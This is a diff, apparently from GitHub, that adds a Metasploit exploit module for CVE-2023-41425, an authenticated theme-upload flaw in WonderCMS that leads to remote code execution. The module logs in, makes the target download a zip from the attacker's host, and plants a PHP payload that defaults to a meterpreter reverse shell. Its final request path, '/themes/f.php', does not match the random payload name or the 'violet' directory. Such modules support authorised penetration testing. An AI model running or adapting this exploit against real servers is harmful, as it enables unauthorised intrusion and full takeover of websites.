|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/zip' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + prepend Msf::Exploit::Remote::AutoCheck |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super( |
| 17 | + update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'WonderCMS Remote Code Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This module adds exploit for CVE-2023-41425. The WonderCMS is simple, free and open-source management system. It contains file upload vulnerability in version 3.2.0 up to version 3.4.2, which allows authenticated users to upload malicious zip file, which gets parsed into theme directory. This vulnerability can be used to upload malicious PHP file. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => ['msutovsky-r7'], |
| 25 | + 'References' => [ |
| 26 | + [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'], |
| 27 | + [ 'CVE', '2023-41425'] |
| 28 | + ], |
| 29 | + 'Targets' => [ |
| 30 | + [ |
| 31 | + 'PHP', |
| 32 | + { |
| 33 | + 'Platform' => ['php'], |
| 34 | + 'Arch' => ARCH_PHP, |
| 35 | + 'Type' => :php, |
| 36 | + 'DefaultOptions' => { |
| 37 | + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' |
| 38 | + } |
| 39 | + } |
| 40 | + ] |
| 41 | + ], |
| 42 | + 'DisclosureDate' => '2023-11-07', |
| 43 | + 'DefaultTarget' => 0, |
| 44 | + 'Notes' => { |
| 45 | + 'Stability' => [CRASH_SAFE], |
| 46 | + 'Reliability' => [REPEATABLE_SESSION], |
| 47 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
| 48 | + } |
| 49 | + ) |
| 50 | + ) |
| 51 | + |
| 52 | + register_options([ |
| 53 | + OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']), |
| 54 | + OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']) |
| 55 | + ]) |
| 56 | + end |
| 57 | + |
| 58 | + def login |
| 59 | + return if @logged_in |
| 60 | + |
| 61 | + res = send_request_cgi({ |
| 62 | + 'method' => 'POST', |
| 63 | + 'uri' => normalize_uri(target_uri.path, '/loginURL'), |
| 64 | + 'keep_cookies' => true, |
| 65 | + 'vars_post' => { |
| 66 | + 'password' => datastore['PASSWORD'] |
| 67 | + } |
| 68 | + }) |
| 69 | + |
| 70 | + fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL') |
| 71 | + |
| 72 | + @logged_in = true |
| 73 | + end |
| 74 | + |
| 75 | + def check |
| 76 | + res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path, '/how-to') |
| 79 | + }) |
| 80 | + return Exploit::CheckCode::Unknown('Cannot connect to WonderCMS server') unless res&.code == 200 |
| 81 | + |
| 82 | + return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS') |
| 83 | + |
| 84 | + vprint_status('Target is probably WonderCMS..') |
| 85 | + |
| 86 | + login |
| 87 | + |
| 88 | + res = send_request_cgi!({ |
| 89 | + 'method' => 'GET', |
| 90 | + 'uri' => normalize_uri(target_uri.path) |
| 91 | + }) |
| 92 | + |
| 93 | + return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 |
| 94 | + |
| 95 | + html_document = res.get_html_document |
| 96 | + |
| 97 | + html_document.xpath('//a').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ } |
| 98 | + |
| 99 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 100 | + |
| 101 | + return Exploit::CheckCode::Unknown('Unable to get version') unless version |
| 102 | + |
| 103 | + return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") unless version <= Rex::Version.new('3.4.2') && version >= Rex::Version.new('3.2.0') |
| 104 | + |
| 105 | + return Exploit::CheckCode::Vulnerable("Version #{version} is affected") |
| 106 | + end |
| 107 | + |
| 108 | + def create_vulnerable_zip |
| 109 | + @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php" |
| 110 | + files = |
| 111 | + [ |
| 112 | + { data: payload.encoded, fname: @payload_filename } |
| 113 | + ] |
| 114 | + |
| 115 | + @vuln_zip = Msf::Util::EXE.to_zip(files) |
| 116 | + end |
| 117 | + |
| 118 | + def on_request_uri(cli, _request) |
| 119 | + print_status('Received request, sending payload..') |
| 120 | + send_response(cli, @vuln_zip) |
| 121 | + end |
| 122 | + |
| 123 | + def install_malicious_component |
| 124 | + res = send_request_cgi!({ |
| 125 | + 'method' => 'GET', |
| 126 | + 'uri' => normalize_uri(target_uri.path) |
| 127 | + }) |
| 128 | + |
| 129 | + return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 |
| 130 | + |
| 131 | + html_document = res.get_html_document |
| 132 | + @token = html_document.at("input[@name='token']").attributes.fetch('value', nil) |
| 133 | + |
| 134 | + return Exploit::CheckCode::Unknown('Failed to get token') unless @token |
| 135 | + |
| 136 | + send_request_cgi!({ |
| 137 | + 'method' => 'GET', |
| 138 | + 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=violet&type=themes&token=#{@token}") |
| 139 | + }) |
| 140 | + end |
| 141 | + |
| 142 | + def exploit |
| 143 | + login |
| 144 | + |
| 145 | + create_vulnerable_zip |
| 146 | + |
| 147 | + @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip" |
| 148 | + start_service({ |
| 149 | + 'Uri' => { |
| 150 | + 'Proc' => proc do |cli, req| |
| 151 | + on_request_uri(cli, req) |
| 152 | + end, |
| 153 | + 'Path' => "/#{@zip_filename}" |
| 154 | + } |
| 155 | + }) |
| 156 | + |
| 157 | + install_malicious_component |
| 158 | + |
| 159 | + send_request_cgi!({ |
| 160 | + 'method' => 'GET', |
| 161 | + 'uri' => normalize_uri(target_uri.path, '/themes/f.php') |
| 162 | + }) |
| 163 | + end |
| 164 | +end |
0 commit comments